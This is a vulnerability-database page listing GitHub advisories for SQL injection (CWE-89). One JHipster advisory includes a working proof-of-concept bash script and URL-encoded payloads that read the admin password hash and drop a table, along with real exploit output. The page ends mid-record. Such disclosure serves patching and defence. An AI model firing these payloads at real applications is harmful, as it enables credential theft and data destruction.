CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
29430 vulnerabilities reference this CWE, most recent first.
GHSA-QXV4-G9HQ-R87F
Vulnerability from github – Published: 2025-12-26 18:30 – Updated: 2025-12-26 21:30Time-based blind SQL Injection vulnerability in Cloudlog v2.6.15 at the endpoint /index.php/logbookadvanced/search in the qsoresults parameter.
{
"affected": [],
"aliases": [
"CVE-2024-44065"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-26T17:15:42Z",
"severity": "CRITICAL"
},
"details": "Time-based blind SQL Injection vulnerability in Cloudlog v2.6.15 at the endpoint /index.php/logbookadvanced/search in the qsoresults parameter.",
"id": "GHSA-qxv4-g9hq-r87f",
"modified": "2025-12-26T21:30:21Z",
"published": "2025-12-26T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44065"
},
{
"type": "WEB",
"url": "https://github.com/jacopo1223/jacopo.github/tree/main/CVE-2024-44065"
},
{
"type": "WEB",
"url": "https://github.com/magicbug/Cloudlog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXVG-PP92-XQ57
Vulnerability from github – Published: 2024-02-21 00:31 – Updated: 2025-03-13 21:30SQL Injection vulnerability in MRCMS v3.1.2 allows attackers to run arbitrary system commands via the status parameter.
{
"affected": [],
"aliases": [
"CVE-2024-25428"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-20T22:15:08Z",
"severity": "MODERATE"
},
"details": "SQL Injection vulnerability in MRCMS v3.1.2 allows attackers to run arbitrary system commands via the status parameter.",
"id": "GHSA-qxvg-pp92-xq57",
"modified": "2025-03-13T21:30:58Z",
"published": "2024-02-21T00:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25428"
},
{
"type": "WEB",
"url": "https://github.com/wuweiit/mushroom/issues/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QXVJ-QXHQ-9V8W
Vulnerability from github – Published: 2022-05-02 03:45 – Updated: 2022-05-02 03:45SQL injection vulnerability in the JoomlaFacebook (com_facebook) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a student action to index.php.
{
"affected": [],
"aliases": [
"CVE-2009-3438"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-09-28T22:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the JoomlaFacebook (com_facebook) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a student action to index.php.",
"id": "GHSA-qxvj-qxhq-9v8w",
"modified": "2022-05-02T03:45:07Z",
"published": "2022-05-02T03:45:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3438"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/53437"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0909-exploits/joomlafb-sql.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36484"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/2731"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QXW3-CVW5-XP93
Vulnerability from github – Published: 2022-05-17 00:39 – Updated: 2022-05-17 00:39SQL injection vulnerability in pics_pre.asp in Gallery MX 2.0.0 allows remote attackers to execute arbitrary SQL commands via the ID parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6379"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-02T19:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in pics_pre.asp in Gallery MX 2.0.0 allows remote attackers to execute arbitrary SQL commands via the ID parameter.",
"id": "GHSA-qxw3-cvw5-xp93",
"modified": "2022-05-17T00:39:59Z",
"published": "2022-05-17T00:39:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6379"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47039"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7326"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32976"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32607"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QXW4-5W76-J3PR
Vulnerability from github – Published: 2022-04-15 00:00 – Updated: 2022-04-22 00:00An SQL injection vulnerability exists in the AssetActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially-crafted HTTP request can cause SQL injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-21210"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-14T20:15:00Z",
"severity": "HIGH"
},
"details": "An SQL injection vulnerability exists in the AssetActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially-crafted HTTP request can cause SQL injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.",
"id": "GHSA-qxw4-5w76-j3pr",
"modified": "2022-04-22T00:00:48Z",
"published": "2022-04-15T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21210"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1444"
},
{
"type": "WEB",
"url": "https://www.lansweeper.com/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXWH-7C22-MWPM
Vulnerability from github – Published: 2025-01-29 03:31 – Updated: 2025-01-29 03:31A vulnerability has been found in ESAFENET CDG V5 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /todoDetail.jsp. The manipulation of the argument flowId leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-0793"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-29T01:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in ESAFENET CDG V5 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /todoDetail.jsp. The manipulation of the argument flowId leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-qxwh-7c22-mwpm",
"modified": "2025-01-29T03:31:47Z",
"published": "2025-01-29T03:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0793"
},
{
"type": "WEB",
"url": "https://github.com/Rain1er/report/blob/main/CDG/todoDetail.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.293917"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.293917"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.483346"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QXX3-9M9G-GVWC
Vulnerability from github – Published: 2026-07-28 21:31 – Updated: 2026-07-28 21:31Tanium addressed a SQL injection vulnerability in Patch.
{
"affected": [],
"aliases": [
"CVE-2026-11391"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T20:17:22Z",
"severity": "MODERATE"
},
"details": "Tanium addressed a SQL injection vulnerability in Patch.",
"id": "GHSA-qxx3-9m9g-gvwc",
"modified": "2026-07-28T21:31:33Z",
"published": "2026-07-28T21:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11391"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2026-019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QXXJ-CQJC-MFM3
Vulnerability from github – Published: 2022-05-17 01:51 – Updated: 2022-05-17 01:51SQL injection vulnerability in the Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 allows remote attackers to execute arbitrary SQL commands via a certificateslist cookie to notification@/.
{
"affected": [],
"aliases": [
"CVE-2011-4847"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-12-16T11:55:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 allows remote attackers to execute arbitrary SQL commands via a certificateslist cookie to notification@/.",
"id": "GHSA-qxxj-cqjc-mfm3",
"modified": "2022-05-17T01:51:37Z",
"published": "2022-05-17T01:51:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4847"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/72222"
},
{
"type": "WEB",
"url": "http://xss.cx/kb/parallels/xss-parallelspleskpanel.v10.4.4_build20111103.18-os_windows-2003-2008-reflected-cross-site-scripting-cwe79-capec86-javascript-injection-example-poc-report.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QXXW-CR9R-53VP
Vulnerability from github – Published: 2022-05-17 00:41 – Updated: 2022-05-17 00:41SQL injection vulnerability in the OwnBiblio (com_ownbiblio) component 1.5.3 for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in a catalogue action to index.php.
{
"affected": [],
"aliases": [
"CVE-2008-6184"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-19T18:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the OwnBiblio (com_ownbiblio) component 1.5.3 for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in a catalogue action to index.php.",
"id": "GHSA-qxxw-cr9r-53vp",
"modified": "2022-05-17T00:41:07Z",
"published": "2022-05-17T00:41:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6184"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45814"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6730"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32235"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31725"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R223-96JV-Q533
Vulnerability from github – Published: 2026-10-08 17:40 – Updated: 2026-10-08 17:40SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications
- Product: jhipster/generator-jhipster (npm package
generator-jhipster) - Affected versions: v7.0.0 through v9.2.0
- Component: generated reactive-application code, template
EntityManager_reactive.java.ejs - Report date: 2026-08-29
1. Summary
Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.
A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including jhi_user password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).
The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.
2. Root Cause
The generator template
generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:
private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {
List<OrderByField> fields = new ArrayList<>();
for (Sort.Order order : sortToUse) {
String propertyName = order.getProperty(); // attacker controlled (?sort=...)
OrderByField orderByField = !propertyName.contains(".")
? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))
: createOrderByField(propertyName);
fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());
}
return fields;
}
The generated app configures SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0
3. Verification
A real application was generated from this repository (git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.
| Step | H2 (dev default) | PostgreSQL 16 (prod default) |
|---|---|---|
Error probe sort=name%27 |
500; SQL echoed with raw ' in ORDER BY e_name' |
500; r2dbc-postgresql parse error echoing full SQL |
Exfiltrate admin hash via ;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);-- |
HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC |
HTTP 200; same hash read back |
;DROP TABLE product;-- |
HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |
All payloads executed with a token carrying only ROLE_USER. No other vulnerability or privileged account is required.
4. Impact
CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. jhi_user password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.
5. Fix Recommendation
In EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.
Appendix
A. Environment setup
# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3
java -version # openjdk 21.x
node --version # v20+
# 1. Clone the generator
git clone https://github.com/jhipster/generator-jhipster.git
cd generator-jhipster
git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.
npm install --no-audit --no-fund # ~778 packages
npm link # makes `jhipster` available
jhipster --version # expected: 9.2.0
# 2. Generate the target app (reactive + SQL + JWT + paginated entity)
mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux
cat > .yo-rc.json <<'EOF'
{ "generator-jhipster": {
"applicationType": "monolith", "baseName": "pocwebflux",
"packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt",
"databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql",
"reactive": true, "skipClient": true, "buildTool": "maven",
"enableTranslation": false, "jhipsterVersion": "9.2.0" } }
EOF
cat > product.jdl <<'EOF'
entity Product { name String required, price BigDecimal }
paginate Product with pagination
EOF
export JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn
jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully."
jhipster jdl product.jdl --no-insight --force
# Sanity check that the generated app contains the vulnerable code (all should match):
grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java
grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java
grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java
# 3a. Run on H2 (default dev database)
./mvnw -DskipTests package # -> BUILD SUCCESS
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &
curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"}
BASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh
# 3b. Run on PostgreSQL 16 (default production database)
docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \
-e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16
./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile
SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())")
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=prod --server.port=18081 \
--spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \
--spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \
--jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &
# seed two products via the API (prod has no sample data), then run poc.sh:
BASE_URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh
docker rm -f jh-pg16
B. PoC script
#!/usr/bin/env bash
# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)
set -euo pipefail
BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"
if [ -z "$JWT" ]; then
JWT=$(curl -s -X POST "$BASE_URL/api/authenticate" -H 'Content-Type: application/json' \
-d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id_token'])")
fi
AUTH="Authorization: Bearer $JWT"
echo "== 2) Baseline =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo
echo "== 3) Error probe: sort=name' =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=name%27" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true
echo "== 4) Exfiltrate admin bcrypt hash =="
PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" \
| python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]"
echo "== 5) DROP TABLE product =="
PAYLOAD="id%3BDROP%20TABLE%20product%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true
C. Real output (H2 run, 2026-08-29, full poc.sh execution)
== Target: http://127.0.0.1:18080 ==
== 1) Obtain a low-privileged token (user/user) ==
== 2) Baseline: benign paginated read (sort=id,asc) ==
[ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]
== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==
status: 500
detail: Syntax error in SQL statement "SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price
FROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC
OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]
== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==
injection request HTTP 200
Read back - first product 'name' now equals the admin bcrypt hash:
id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=2 name=notwithstanding
== 5) Arbitrary SQL: DROP TABLE product (availability) ==
injection request HTTP 200
After injection, listing products again:
status: 500
detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]
== Done. The database has been modified / a table dropped by injected SQL. ==
D. Real output (PostgreSQL 16 run )
== 3) Error probe: sort=name' ==
status: 500
detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e
ORDER BY e_name' ASC LIMIT 20 OFFSET 0
== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==
injection request HTTP 200
id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=1501 name=beta widget
== 5) DROP TABLE product ==
injection request HTTP 200 -> subsequent list: status 500 "Failure during data access"
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "generator-jhipster"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "9.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107375"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:40:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/\u003centity\u003e?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240\u2013253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection\u003c? extends OrderByField\u003e createOrderByFields(Table table, Sort sortToUse) {\n List\u003cOrderByField\u003e fields = new ArrayList\u003c\u003e();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `\u0027` in `ORDER BY e_name\u0027` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list \u2192 500 | HTTP 200; table gone, subsequent list \u2192 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity\u0027s persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node \u003e= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout \u003caffected-tag\u003e # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux \u0026\u0026 cd /tmp/pocwebflux\ncat \u003e .yo-rc.json \u003c\u003c\u0027EOF\u0027\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat \u003e product.jdl \u003c\u003c\u0027EOF\u0027\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -\u003e \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -\u003e BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 \u003e app-dev.log 2\u003e\u00261 \u003c /dev/null \u0026\ncurl -s http://127.0.0.1:18080/management/health # -\u003e {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash \u003cpath-to\u003e/poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n 